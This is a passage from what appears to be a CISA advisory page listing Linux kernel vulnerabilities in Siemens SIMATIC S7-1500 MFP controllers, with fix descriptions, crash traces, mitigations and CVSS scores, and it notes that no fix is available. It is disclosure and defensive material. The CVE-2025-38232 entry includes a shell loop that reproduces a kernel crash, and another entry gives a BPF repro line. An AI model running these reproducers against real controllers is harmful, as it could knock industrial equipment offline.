<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38125</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: stmmac: make sure that ptp_rate is not 0 before configuring EST If the ptp_rate recorded earlier in the driver happens to be 0, this bogus value will propagate up to EST configuration, where it will trigger a division by 0. Prevent this division by 0 by adding the corresponding check and error code.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38125">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/369.html">CWE-369 Divide By Zero</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38162</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nft_set_pipapo: prevent overflow in lookup table allocation When calculating the lookup table size, ensure the following multiplication does not overflow: - desc-&gt;field_len[] maximum value is U8_MAX multiplied by NFT_PIPAPO_GROUPS_PER_BYTE(f) that can be 2, worst case. - NFT_PIPAPO_BUCKETS(f-&gt;bb) is 2^8, worst case. - sizeof(unsigned long), from sizeof(*f-&gt;lt), lt in struct nft_pipapo_field. Then, use check_mul_overflow() to multiply by bucket size and then use check_add_overflow() to the alignment for avx2 (if needed). Finally, add lt_size_check_overflow() helper and use it to consolidate this. While at it, replace leftover allocation using the GFP_KERNEL to GFP_KERNEL_ACCOUNT for consistency, in pipapo_resize().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38162">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38192</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: clear the dst when changing skb protocol A not-so-careful NAT46 BPF program can crash the kernel if it indiscriminately flips ingress packets from v4 to v6: BUG: kernel NULL pointer dereference, address: 0000000000000000 ip6_rcv_core (net/ipv6/ip6_input.c:190:20) ipv6_rcv (net/ipv6/ip6_input.c:306:8) process_backlog (net/core/dev.c:6186:4) napi_poll (net/core/dev.c:6906:9) net_rx_action (net/core/dev.c:7028:13) do_softirq (kernel/softirq.c:462:3) netif_rx (net/core/dev.c:5326:3) dev_loopback_xmit (net/core/dev.c:4015:2) ip_mc_finish_output (net/ipv4/ip_output.c:363:8) NF_HOOK (./include/linux/netfilter.h:314:9) ip_mc_output (net/ipv4/ip_output.c:400:5) dst_output (./include/net/dst.h:459:9) ip_local_out (net/ipv4/ip_output.c:130:9) ip_send_skb (net/ipv4/ip_output.c:1496:8) udp_send_skb (net/ipv4/udp.c:1040:8) udp_sendmsg (net/ipv4/udp.c:1328:10) The output interface has a 4-&gt;6 program attached at ingress. We try to loop the multicast skb back to the sending socket. Ingress BPF runs as part of netif_rx(), pushes a valid v6 hdr and changes skb-&gt;protocol to v6. We enter ip6_rcv_core which tries to use skb_dst(). But the dst is still an IPv4 one left after IPv4 mcast output. Clear the dst in all BPF helpers which change the protocol. Try to preserve metadata dsts, those may carry non-routing metadata.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38192">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.1</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38201</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nft_set_pipapo: clamp maximum map bucket size to INT_MAX Otherwise, it is possible to hit WARN_ON_ONCE in __kvmalloc_node_noprof() when resizing hashtable because __GFP_NOWARN is unset. Similar to: b541ba7d1f5a ("netfilter: conntrack: clamp maximum hashtable size to INT_MAX")</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38201">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38232</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: NFSD: fix race between nfsd registration and exports_proc As of now nfsd calls create_proc_exports_entry() at start of init_nfsd and cleanup by remove_proc_entry() at last of exit_nfsd. Which causes kernel OOPs if there is race between below 2 operations: (i) exportfs -r (ii) mount -t nfsd none /proc/fs/nfsd for 5.4 kernel ARM64: CPU 1: el1_irq+0xbc/0x180 arch_counter_get_cntvct+0x14/0x18 running_clock+0xc/0x18 preempt_count_add+0x88/0x110 prep_new_page+0xb0/0x220 get_page_from_freelist+0x2d8/0x1778 __alloc_pages_nodemask+0x15c/0xef0 __vmalloc_node_range+0x28c/0x478 __vmalloc_node_flags_caller+0x8c/0xb0 kvmalloc_node+0x88/0xe0 nfsd_init_net+0x6c/0x108 [nfsd] ops_init+0x44/0x170 register_pernet_operations+0x114/0x270 register_pernet_subsys+0x34/0x50 init_nfsd+0xa8/0x718 [nfsd] do_one_initcall+0x54/0x2e0 CPU 2 : Unable to handle kernel NULL pointer dereference at virtual address 0000000000000010 PC is at : exports_net_open+0x50/0x68 [nfsd] Call trace: exports_net_open+0x50/0x68 [nfsd] exports_proc_open+0x2c/0x38 [nfsd] proc_reg_open+0xb8/0x198 do_dentry_open+0x1c4/0x418 vfs_open+0x38/0x48 path_openat+0x28c/0xf18 do_filp_open+0x70/0xe8 do_sys_open+0x154/0x248 Sometimes it crashes at exports_net_open() and sometimes cache_seq_next_rcu(). and same is happening on latest 6.14 kernel as well: [ 0.000000] Linux version 6.14.0-rc5-next-20250304-dirty ... [ 285.455918] Unable to handle kernel paging request at virtual address 00001f4800001f48 ... [ 285.464902] pc : cache_seq_next_rcu+0x78/0xa4 ... [ 285.469695] Call trace: [ 285.470083] cache_seq_next_rcu+0x78/0xa4 (P) [ 285.470488] seq_read+0xe0/0x11c [ 285.470675] proc_reg_read+0x9c/0xf0 [ 285.470874] vfs_read+0xc4/0x2fc [ 285.471057] ksys_read+0x6c/0xf4 [ 285.471231] __arm64_sys_read+0x1c/0x28 [ 285.471428] invoke_syscall+0x44/0x100 [ 285.471633] el0_svc_common.constprop.0+0x40/0xe0 [ 285.471870] do_el0_svc_compat+0x1c/0x34 [ 285.472073] el0_svc_compat+0x2c/0x80 [ 285.472265] el0t_32_sync_handler+0x90/0x140 [ 285.472473] el0t_32_sync+0x19c/0x1a0 [ 285.472887] Code: f9400885 93407c23 937d7c27 11000421 (f86378a3) [ 285.473422] ---[ end trace 0000000000000000 ]--- It reproduced simply with below script: while [ 1 ] do /exportfs -r done &amp; while [ 1 ] do insmod /nfsd.ko mount -t nfsd none /proc/fs/nfsd umount /proc/fs/nfsd rmmod nfsd done &amp; So exporting interfaces to user space shall be done at last and cleanup at first place. With change there is no Kernel OOPs.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38232">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.1</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38322</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: perf/x86/intel: Fix crash in icl_update_topdown_event() The perf_fuzzer found a hard-lockup crash on a RaptorLake machine: Oops: general protection fault, maybe for address 0xffff89aeceab400: 0000 CPU: 23 UID: 0 PID: 0 Comm: swapper/23 Tainted: [W]=WARN Hardware name: Dell Inc. Precision 9660/0VJ762 RIP: 0010:native_read_pmc+0x7/0x40 Code: cc e8 8d a9 01 00 48 89 03 5b cd cc cc cc cc 0f 1f ... RSP: 000:fffb03100273de8 EFLAGS: 00010046 .... Call Trace: icl_update_topdown_event+0x165/0x190 ? ktime_get+0x38/0xd0 intel_pmu_read_event+0xf9/0x210 __perf_event_read+0xf9/0x210 CPUs 16-23 are E-core CPUs that don't support the perf metrics feature. The icl_update_topdown_event() should not be invoked on these CPUs. It's a regression of commit: f9bdf1f95339 ("perf/x86/intel: Avoid disable PMU if !cpuc-&gt;enabled in sample read") The bug introduced by that commit is that the is_topdown_event() function is mistakenly used to replace the is_topdown_count() call to check if the topdown functions for the perf metrics feature should be invoked. Fix it.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38322">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38591</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Reject narrower access to pointer ctx fields The following BPF program, simplified from a syzkaller repro, causes a kernel warning: r0 = *(u8 *)(r1 + 169); exit; With pointer field sk being at offset 168 in __sk_buff. This access is detected as a narrower read in bpf_skb_is_valid_access because it doesn't match offsetof(struct __sk_buff, sk). It is therefore allowed and later proceeds to bpf_convert_ctx_access. Note that for the "is_narrower_load" case in the convert_ctx_accesses(), the insn-&gt;off is aligned, so the cnt may not be 0 because it matches the offsetof(struct __sk_buff, sk) in the bpf_convert_ctx_access. However, the target_size stays 0 and the verifier errors with a kernel warning: verifier bug: error during ctx access conversion(1) This patch fixes that to return a proper "invalid bpf_context access off=X size=Y" error on the load instruction. The same issue affects multiple other fields in context structures that allow narrow access. Some other non-affected fields (for sk_msg, sk_lookup, and sockopt) were also changed to use bpf_ctx_range_ptr for consistency. Note this syzkaller crash was reported in the "Closes" link below, which used to be about a different bug, fixed in commit fce7bd8e385a ("bpf/verifier: Handle BPF_LOAD_ACQ instructions in insn_def_regno()"). Because syzbot somehow confused the two bugs, the new crash and repro didn't get reported to the mailing list.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38591">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38614</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: eventpoll: Fix semi-unbounded recursion Ensure that epoll instances can never form a graph deeper than EP_MAX_NESTS+1 links. Currently, ep_loop_check_proc() ensures that the graph is loop-free and does some recursion depth checks, but those recursion depth checks don't limit the depth of the resulting tree for two reasons: - They don't look upwards in the tree. - If there are multiple downwards paths of different lengths, only one of the paths is actually considered for the depth check since commit 28d82dc1c4ed ("epoll: limit paths"). Essentially, the current recursion depth check in ep_loop_check_proc() just serves to prevent it from recursing too deeply while checking for loops. A more thorough check is done in reverse_path_check() after the new graph edge has already been created; this checks, among other things, that no paths going upwards from any non-epoll file with a length of more than 5 edges exist. However, this check does not apply to non-epoll files. As a result, it is possible to recurse to a depth of at least roughly 500, tested on v6.15. (I am unsure if deeper recursion is possible; and this may have changed with commit 8c44dac8add7 ("eventpoll: Fix priority inversion problem").) To fix it: 1. In ep_loop_check_proc(), note the subtree depth of each visited node, and use subtree depths for the total depth calculation even when a subtree has already been visited. 2. Add ep_get_upwards_depth_proc() for similarly determining the maximum depth of an upwards walk. 3. In ep_loop_check(), use these values to limit the total path length between epoll nodes to EP_MAX_NESTS edges.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38614">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/674.html">CWE-674 Uncontrolled Recursion</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38681</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mm/ptdump: take the memory hotplug lock inside ptdump_walk_pgd() Memory hot remove unmaps and tears down various kernel page table regions as required. The ptdump code can race with concurrent modifications of the kernel page tables. When leaf entries are modified concurrently, the dump code may log stale or inconsistent information for a VA range, but this is otherwise not harmful. But when intermediate levels of kernel page table are freed, the dump code will continue to use memory that has been freed and potentially reallocated for another purpose. In such cases, the ptdump code may dereference bogus addresses, leading to a number of potential problems. To avoid the above mentioned race condition, platforms such as arm64, riscv and s390 take memory hotplug lock, while dumping kernel page table via the sysfs interface /sys/kernel/debug/kernel_page_tables. Similar race condition exists while checking for pages that might have been marked W+X via /sys/kernel/debug/kernel_page_tables/check_wx_pages which in turn calls ptdump_check_wx(). Instead of solving this race condition again, let's just move the memory hotplug lock inside generic ptdump_check_wx() which will benefit both the scenarios. Drop get_online_mems() and put_online_mems() combination from all existing platform ptdump code paths.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38681">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
